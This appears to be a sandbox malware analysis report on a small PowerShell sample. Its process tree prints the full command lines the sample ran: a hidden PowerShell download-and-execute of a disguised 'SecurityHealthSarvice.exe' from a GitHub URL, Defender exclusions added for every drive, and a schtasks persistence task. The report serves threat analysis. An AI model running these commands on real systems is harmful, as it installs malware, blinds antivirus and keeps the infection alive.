Analysis

  • user interaction
    yes
  • max time kernel
    71s
  • max time network
    73s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 08:03

General

  • Target
    test.ps1
  • Size 371B
  • Sample260809-jxxhrstdmf
  • SHA256 149e88b3db852ad23cb775190e9cb3ac1f5cca224aef8bfc39eac5fc99bbb2e3
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 3 IoCs

    Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

  • Adds Run key to start application 2 TTPs 3 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Checks system information in the registry 2 TTPs 6 IoCs

    System information is often read in order to detect sandboxing environments.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\test.ps1
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4416
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c start /min cmd.exe /c powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile %TEMP%\SecurityHealthSarvice.exe; Start-Process -FilePath %TEMP%\SecurityHealthSarvice.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2360
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5480
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "& { iwr -Uri 'https://raw.githubusercontent.com/dwqfefewfewfew/OwoSexy/refs/heads/main/SecurityHealthSarvice%20(1).exe' -OutFile C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe; Start-Process -FilePath C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe -WindowStyle Hidden }"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:932
          • C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe
            "C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe"
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Checks system information in the registry
            • Suspicious use of WriteProcessMemory
            PID:3620
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              6⤵
              • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
              • Hide Artifacts: Ignore Process Interrupts
              • Suspicious use of WriteProcessMemory
              PID:1532
              • C:\Windows\system32\chcp.com
                chcp 65001
                7⤵
                  PID:5008
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1980
              • C:\Windows\SYSTEM32\schtasks.exe
                schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
                6⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5156
    • C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
      C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
      1⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Checks system information in the registry
      • Suspicious use of WriteProcessMemory
      PID:2544
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        2⤵
        • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        • Hide Artifacts: Ignore Process Interrupts
        • Suspicious use of WriteProcessMemory
        PID:3704
        • C:\Windows\system32\chcp.com
          chcp 65001
          3⤵
            PID:5468
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4916
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3448
      • C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe
        "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
        1⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Checks system information in the registry
        • Suspicious use of WriteProcessMemory
        PID:2156
        • C:\Windows\system32\cmd.exe
          cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
          2⤵
          • Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
          • Hide Artifacts: Ignore Process Interrupts
          • Suspicious use of WriteProcessMemory
          PID:5776
          • C:\Windows\System32\chcp.com
            chcp 65001
            3⤵
              PID:4540
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:4144
          • C:\Windows\system32\schtasks.exe
            schtasks.exe /create /f /sc minute /mo 1 /tn "SecurityHealthSarvice" /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthSarvice.exe"
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4056

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 64B
              • SHA256 baa371d01007bfa9bad185a3d0a62fa2e20b1733fca380ae97a22abc7d939747
              • MD5 SHA1 SHA512

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 95bf34d339698a4bb28f3d149bf3bd4631d612be2a593d2b126dd3f596c2d062
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 96e75f9ab11a054cc56e15c9f0eca46aaeafc7ceac160de2307ef72ecfc3f41b
              • MD5 SHA1 SHA512 TLSH

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 d57132bfaf86ca112a4ca8c1dfa6a5d2148a9bc954fabd1d01e3501209bf3842
              • MD5 SHA1 SHA512 TLSH

              SecurityHealthSarvice.exe

              • Path C:\Users\Admin\AppData\Local\Temp\SecurityHealthSarvice.exe
              • Size 60KB
              • SHA256 8353eb70e28a76578479d2cf2b80a9670b9fdf25d0292049e715589bcfcf7fcd
              • MD5 SHA1 SHA512 SSDEEP TLSH

              __PSScriptPolicyTest_w0dqlstn.5tc.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w0dqlstn.5tc.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              ~msnDEV-eef26d09a31d7391.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-eef26d09a31d7391.tmp
              • Size 4B
              • SHA256 f0922bdc63194a3126a9b98b75a4ae7416e1724ac4051ee02bf9c40b0107d453
              • MD5 SHA1 SHA512

              ~msnDEV-eef26d09a31d7391.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-eef26d09a31d7391.tmp
              • Size 4B
              • SHA256 f4d1bb605cf479e78559bb3266f9aaba5a2f46de6dc332dd4a3aad6c323e27fe
              • MD5 SHA1 SHA512

              memory/932-36-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-24-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-25-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-13-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-14-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-15-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-18-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-20-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-22-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-21-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/932-23-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/1980-42-0x0000027855900000-0x000002785591E000-memory.dmp

              memory/1980-43-0x0000027855BD0000-0x0000027855C82000-memory.dmp

              memory/1980-44-0x00000278558F0000-0x00000278558FA000-memory.dmp

              memory/2156-101-0x00007FF6EB920000-0x00007FF6EB939000-memory.dmp

              memory/2156-90-0x000000027FE40000-0x000000027FE9A000-memory.dmp

              memory/2544-78-0x00007FF6EB920000-0x00007FF6EB939000-memory.dmp

              memory/3620-46-0x000000027FE40000-0x000000027FE9A000-memory.dmp

              memory/3620-59-0x00007FF7D08B0000-0x00007FF7D08C9000-memory.dmp

              memory/4144-88-0x000001B676E00000-0x000001B676EB2000-memory.dmp

              memory/4416-7-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/4416-0-0x00007FFB799CF000-0x00007FFB799D0000-memory.dmp

              memory/4416-12-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/4416-6-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/4416-5-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/4416-8-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/4416-4-0x00000217C4280000-0x00000217C42A2000-memory.dmp

              memory/4416-3-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/4416-9-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp

              memory/4416-10-0x00007FFB79840000-0x00007FFB7A1E4000-memory.dmp